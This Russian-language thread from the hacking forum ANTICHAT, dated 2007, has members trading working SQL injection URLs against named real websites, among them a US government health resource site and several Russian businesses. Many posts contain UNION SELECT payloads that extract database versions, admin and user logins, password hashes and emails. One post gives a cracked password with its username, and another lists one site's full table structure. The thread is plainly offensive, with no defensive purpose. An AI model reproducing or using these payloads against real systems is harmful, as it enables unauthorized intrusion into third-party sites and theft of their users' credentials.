ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.04.2007, 02:41
zl0ba
Banned
Регистрация: 10.10.2006
Сообщений: 596
С нами: 10307906

Репутация: 1365


По умолчанию

Код:
http://coce.samhsa.gov/cod_resources/index.aspx?obj=42+or+1=@@version--
Можно покавырять, но мне не хочиться!
me/ боиться!

В процесе поиска:
Код:
http://www.terjemar.net/dict5.php?baseid=-928+union+select+1,2,3/*
для тех у кого много трафа!
 
Ответить с цитированием

  #2  
Старый 16.04.2007, 03:07
KPOT_f!nd
Познавший АНТИЧАТ
Регистрация: 25.08.2006
Сообщений: 1,524
С нами: 10374086

Репутация: 1745


По умолчанию

Код:
http://director-online.com/buildArticle.php?id=-2+union+select+1,2,3,4,5,6,7,8+from+user/*
 
Ответить с цитированием

  #3  
Старый 16.04.2007, 06:21
limpompo
Познавший АНТИЧАТ
Регистрация: 27.08.2005
Сообщений: 1,662
С нами: 10897046

Репутация: 1329


По умолчанию

Цитата:
Сообщение от KPOT_f!nd  
Код:
http://director-online.com/buildArticle.php?id=-2+union+select+1,2,3,4,5,6,7,8+from+user/*
Хочу добавить по Этому Сайтику....

Нашёл ещё 1 табличку: phorum_users
Запрос
Код:
director-online.com/buildArticle.php?
POST: id=-2+UNION+SELECT+1,2,3,4,5,concat(username,char(58),password),7,8+FROM+phorum_users/*
=========
Для id=1
username: !aaf
hash: 1b207465eac83b5d4b12e335faa0b53a
crackHash: paula

========


Также Колонки для этой таблички
Код:
id
name
username
password
emai
webpage
image
icq
aol
yahoo
msn
jabber
signature
hide_email
permission_level
max_group_permission_level
lang
password_tmp

Последний раз редактировалось limpompo; 16.04.2007 в 06:26..
 
Ответить с цитированием

  #4  
Старый 16.04.2007, 13:21
n1†R0x
Постоянный
Регистрация: 20.01.2007
Сообщений: 787
С нами: 10160966

Репутация: 1719


По умолчанию

один из кинотеатров Питера =)
kolizey.spb.ru
Код:
http://www.kolizey.spb.ru/description.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,concat(login,0x3a,password,0x3a,email),18+from+user/*&lang=eng
юзер:пасс:мыло

там еще есть таблица 'guestbook', колонка вроде 'email', но я не уверен, копаться не стал.
 
Ответить с цитированием

  #5  
Старый 16.04.2007, 13:40
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами: 10248806

Репутация: 2371


Cool

www.efimov-partners.ru
Код:
http://www.efimov-partners.ru/vacancy/?rubric=-47+union+select+concat(version(),char(58,58),database(),char(58,58),user())/*
www.santechmart.ru
Код:
http://www.santechmart.ru/print.php?id=-1+union+select+concat(version(),char(58,58),database(),char(58,58),user())/*
www.yurclub.ru
Код:
http://www.yurclub.ru/catalog/geo.list.php?s=-11000+union+select+1,concat(version(),char(58,58),database(),char(58,58),user())/*&r=0&PHPSESSID=d974a3bb28fedf99bf678190478bb00b

www.ladofon.ru
Код:
http://www.ladofon.ru/news_detail.php?news_id=-69+union+select+1,2,3,concat(version(),char(58,58),database(),char(58,58),user()),5,6,7,8/*
http://www.staldveri.ru
Код:
http://www.staldveri.ru/products/popup.php?id=-2+union+select+1,concat(version(),char(58,58),database(),char(58,58),user()),3,4,5,6,7/*
www.spbgid.ru
Код:
http://www.spbgid.ru/index.php?type=-1+union+select+1,convert(concat(version(),char(58,58),database(),char(58,58),user())%20using%20cp1251),3/*
 
Ответить с цитированием

  #6  
Старый 16.04.2007, 14:14
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Достали в игрушки играть давайте.

http://quest.mini-rinok.ru/index.php?id=1
http://quest.mini-rinok.ru/index.php?id=2
http://quest.mini-rinok.ru/index.php?id=2-1

Кто составит корректный запрос +20 от меня.
 
Ответить с цитированием

  #7  
Старый 16.04.2007, 16:36
VampiRUS
Участник форума
Регистрация: 31.12.2005
Сообщений: 231
С нами: 10715512

Репутация: 366
По умолчанию

Цитата:
Сообщение от [ cash ]  
Достали в игрушки играть давайте.

http://quest.mini-rinok.ru/index.php?id=1
http://quest.mini-rinok.ru/index.php?id=2
http://quest.mini-rinok.ru/index.php?id=2-1

Кто составит корректный запрос +20 от меня.
я её сделал когда там ещё недостаточная фильтрация была),а потом нет.
Мне киборг подскзывал как там делать надо, но я так и не смог((, видимо мало над этим думал, надо будет как нибудь на досуге этим занятся.

Цитата:
http://www.rabotamania.ru/index.php?id=-1+union+select+1111111111/*
несмог таблицы подобрать.
префикс rabotamania_
 
Ответить с цитированием

  #8  
Старый 16.04.2007, 16:04
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
С нами: 10305026

Репутация: 187
По умолчанию

http://www.prokredo.ru/collegefaculty.php?id=50%20union%20select%201,conc at(login,char(58),password),3,4,5,6,7,8,9,10,11,12 ,13,14%20FROM%20kredo_admins/*
-------------------------------
sql password
mooncat login
------------------------------
TABLES:
Код:
CHARACTER_SETS, COLLATIONS, COLLATION_CHARACTER_SET_APPLICABILITY, COLUMNS, COLUMN_PRIVILEGES, KEY_COLUMN_USAGE,  ROUTINES, SCHEMATA, SCHEMA_PRIVILEGES, TABLES,
TABLE_CONSTRAINTS, TABLE_PRIVILEGES, TRIGGERS, USER_PRIVILEGES,VIEWS, kredo_activity,
kredo_admins, kredo_albums, kredo_article, kredo_college, kredo_company, kredo_contacts, kredo_doc, kredo_faculty, kredo_links, kredo_media, kredo_news, kredo_opinions, kredo_pages, kredo_partner, kredo_photo, kredo_presskit, kredo_publications, kredo_questions, kredo_represents,kredo_sections, kredo_students, kredo_vacancy, prokredo_forum_auth_access, prokredo_forum_banlist, prokredo_forum_categories, prokredo_forum_config, prokredo_forum_confirm, prokredo_forum_disallow, prokredo_forum_forum_prune, prokredo_forum_forums, prokredo_forum_groups, prokredo_forum_posts, prokredo_forum_posts_text, prokredo_forum_privmsgs, prokredo_forum_privmsgs_text, prokredo_forum_ranks, prokredo_forum_search_results, prokredo_forum_search_wordlist, prokredo_forum_search_wordmatch, prokredo_forum_sessions, prokredo_forum_sessions_keys, prokredo_forum_smilies, prokredo_forum_themes, prokredo_forum_themes_name, prokredo_forum_topics, prokredo_forum_topics_watch, prokredo_forum_user_group, prokredo_forum_users, prokredo_forum_vote_desc, prokredo_forum_vote_results, prokredo_forum_vote_voters, prokredo_forum_words
---------------
COLUMNS:
Код:
 CHARACTER_SET_NAME, DEFAULT_COLLATE_NAME, DESCRIPTION, MAXLEN, COLLATION_NAME
http://quest.mini-rinok.ru/index.php?id=1
cash, а ты уверен что там можно что-то сделать?
 
Ответить с цитированием

  #9  
Старый 16.04.2007, 16:17
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию

Уверен.
)))))))))))))))))))))))))))
Что поставили кавычку нечего не получилось )))
 
Ответить с цитированием

  #10  
Старый 16.04.2007, 16:39
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

^^куда уж нам до "гуру"^^
Цитата:
http://cmj.com/charts.php?chart_type=-21+union+select+1,column_name,3,4,5,6,7,8,9,10,11, 12,13,14,15,16,17,18,19,20,21+from+information_sch ema.columns+where+table_name='users'+limit+6,1
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.